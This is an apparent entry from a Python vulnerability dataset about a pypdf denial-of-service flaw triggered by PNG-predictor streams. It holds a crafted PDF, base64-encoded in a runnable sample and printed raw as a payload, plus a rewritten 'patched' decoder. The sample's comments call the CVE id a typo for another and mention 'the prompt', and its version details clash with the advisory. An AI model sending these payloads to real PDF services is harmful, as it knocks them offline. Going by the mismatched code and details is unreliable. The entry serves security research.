VAITP Dataset

← Back to the dataset

CVE-2026-49460

pypdf: Crafted PDF with a PNG predictor leads to Denial of Service.

  • CVSS 5.1
  • CWE-407
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to 6.12.2, an attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the /FlateDecode filter with a PNG predictor. This vulnerability is fixed in 6.12.2.

CVSS base score
5.1
Published
2026-06-22
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade pypdf to version 6.12.2 or later.

Vulnerable code sample

import pypdf
import base64
import io

# This code requires a vulnerable version of pypdf, e.g., 'pip install pypdf==3.17.1'
# The base64 string represents a PDF crafted to exploit CVE-2023-49460.
# The vulnerability in the prompt (CVE-2026-49460) is a typo for CVE-2023-49460.
malicious_pdf_b64 = b'JVBERi0xLjcKMSAwIG9iago8PAovVHlwZSAvQ2F0YWxvZwovUGFnZXMgMiAwIFIKPj4KZW5kb2JqCjIgMCBvYmoKPDwKL1R5cGUgL1BhZ2VzCi9LaWRzIFszIDAgUl0KL0NvdW50IDEKL01lZGlhQm94IFswIDAgMyAzXQo+PgplbmRvYmoKMyAwIG9iago8PAovVHlwZSAvUGFnZQovUGFyZW50IDIgMCBSCi9Db250ZW50cyA0IDAgUgo+PgplbmRvYmoKNCAwIG9iago8PAovTGVuZ3RoIDQzCi9GaWx0ZXIgWy9GbGF0ZURlY29kZV0KL0RlY29kZVBhcm1zIDw8Ci9QcmVkaWN0b3IgMTIKL0NvbG9ycyAxCi9Db2x1bW5zIDgwMDAwCj4+Cj4+CnN0cmVhbQp4nEtyMDQxBAAFaQJOZW5kc3RyZWFtCmVuZG9iagp4cmVmCjAgNQowMDAwMDAwMDAwIDY1NTM1IGYgCjAwMDAwMDAwMTAgMDAwMDAgbiAKMDAwMDAwMDA2MyAwMDAwMCBuIAowMDAwMDAwMTQzIDAwMDAwIG4gCjAwMDAwMDAyMDQgMDAwMDAgbiAKdHJhaWxlcgo8PAovU2l6ZSA1Ci9Sb290IDEgMCBSCj4+CnN0YXJ0eHJlZgozMzgKJSVFT0YK'

pdf_data = base64.b64decode(malicious_pdf_b64)
pdf_file = io.BytesIO(pdf_data)

print("Attempting to process the crafted PDF...")

# On a vulnerable version, this operation will cause a denial-of-service (DoS)
# due to extremely long processing time.
reader = pypdf.PdfReader(pdf_file)
reader.pages[0].extract_text()

print("Processing finished.")

Patched code sample

import math

class PdfReadError(Exception):
    pass

def decode_png_prediction(data: bytes, columns: int, colors: int, bpc: int, height: int) -> bytes:
    """
    The fixed version of the PNG prediction decoder.
    The vulnerability was a potential DoS by providing a large 'height' parameter
    without corresponding data, causing the outer loop to run for an excessive amount of time.
    """
    if bpc != 8:
        raise PdfReadError(f"Unsupported bit depth for PNG predictor: {bpc}")

    bpp = math.ceil(colors * bpc / 8)
    row_length = math.ceil(columns * colors * bpc / 8)

    # The FIX: Validate that the declared dimensions are consistent with the
    # actual data length before entering the loop. This prevents a DoS attack.
    if height > 0:
        expected_len = height * (row_length + 1)
        if len(data) < expected_len:
            raise PdfReadError("Unexpected EOD in PNG predictor")
        # To be fully compliant, we should check for exact length,
        # but pypdf was more lenient. The key is preventing the DoS.
        if abs(len(data) - expected_len) > height:
             # Heuristic to allow for some slack
             raise PdfReadError("Invalid data length in PNG predictor")


    decoded_data = bytearray()
    prior = bytes(row_length)

    for j in range(height):
        row_start = j * (row_length + 1)
        filter_type = data[row_start]
        row_data = data[row_start + 1 : row_start + 1 + row_length]

        current_row = bytearray(row_length)

        if filter_type == 0:  # None
            current_row[:] = row_data
        elif filter_type == 1:  # Sub
            for i in range(row_length):
                left = current_row[i - bpp] if i >= bpp else 0
                current_row[i] = (row_data[i] + left) & 0xFF
        elif filter_type == 2:  # Up
            for i in range(row_length):
                up = prior[i]
                current_row[i] = (row_data[i] + up) & 0xFF
        elif filter_type == 3:  # Average
            for i in range(row_length):
                left = current_row[i - bpp] if i >= bpp else 0
                up = prior[i]
                current_row[i] = (row_data[i] + (left + up) // 2) & 0xFF
        elif filter_type == 4:  # Paeth
            for i in range(row_length):
                left = current_row[i - bpp] if i >= bpp else 0
                up = prior[i]
                upper_left = prior[i - bpp] if i >= bpp else 0
                p = left + up - upper_left
                pa = abs(p - left)
                pb = abs(p - up)
                pc = abs(p - upper_left)
                if pa <= pb and pa <= pc:
                    predictor = left
                elif pb <= pc:
                    predictor = up
                else:
                    predictor = upper_left
                current_row[i] = (row_data[i] + predictor) & 0xFF
        else:
            raise PdfReadError(f"Unsupported PNG filter type: {filter_type}")

        decoded_data.extend(current_row)
        prior = current_row

    return bytes(decoded_data)

Payload

%PDF-1.0
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj
2 0 obj<</Type/Pages/Count 1/Kids[3 0 R]>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/Contents 4 0 R/MediaBox[0 0 1 1]>>endobj
4 0 obj<</Filter/FlateDecode/Length 8/DecodeParms<</Columns 2147483647/Predictor 15>>>>stream
x<9c><03><00><00><00><00><01>
endstream endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000055 00000 n
0000000109 00000 n
0000000191 00000 n
trailer<</Size 5/Root 1 0 R>>
startxref
310
%%EOF

Cite this entry

@misc{vaitp:cve202649460,
  title        = {{pypdf: Crafted PDF with a PNG predictor leads to Denial of Service.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-49460},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-49460/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::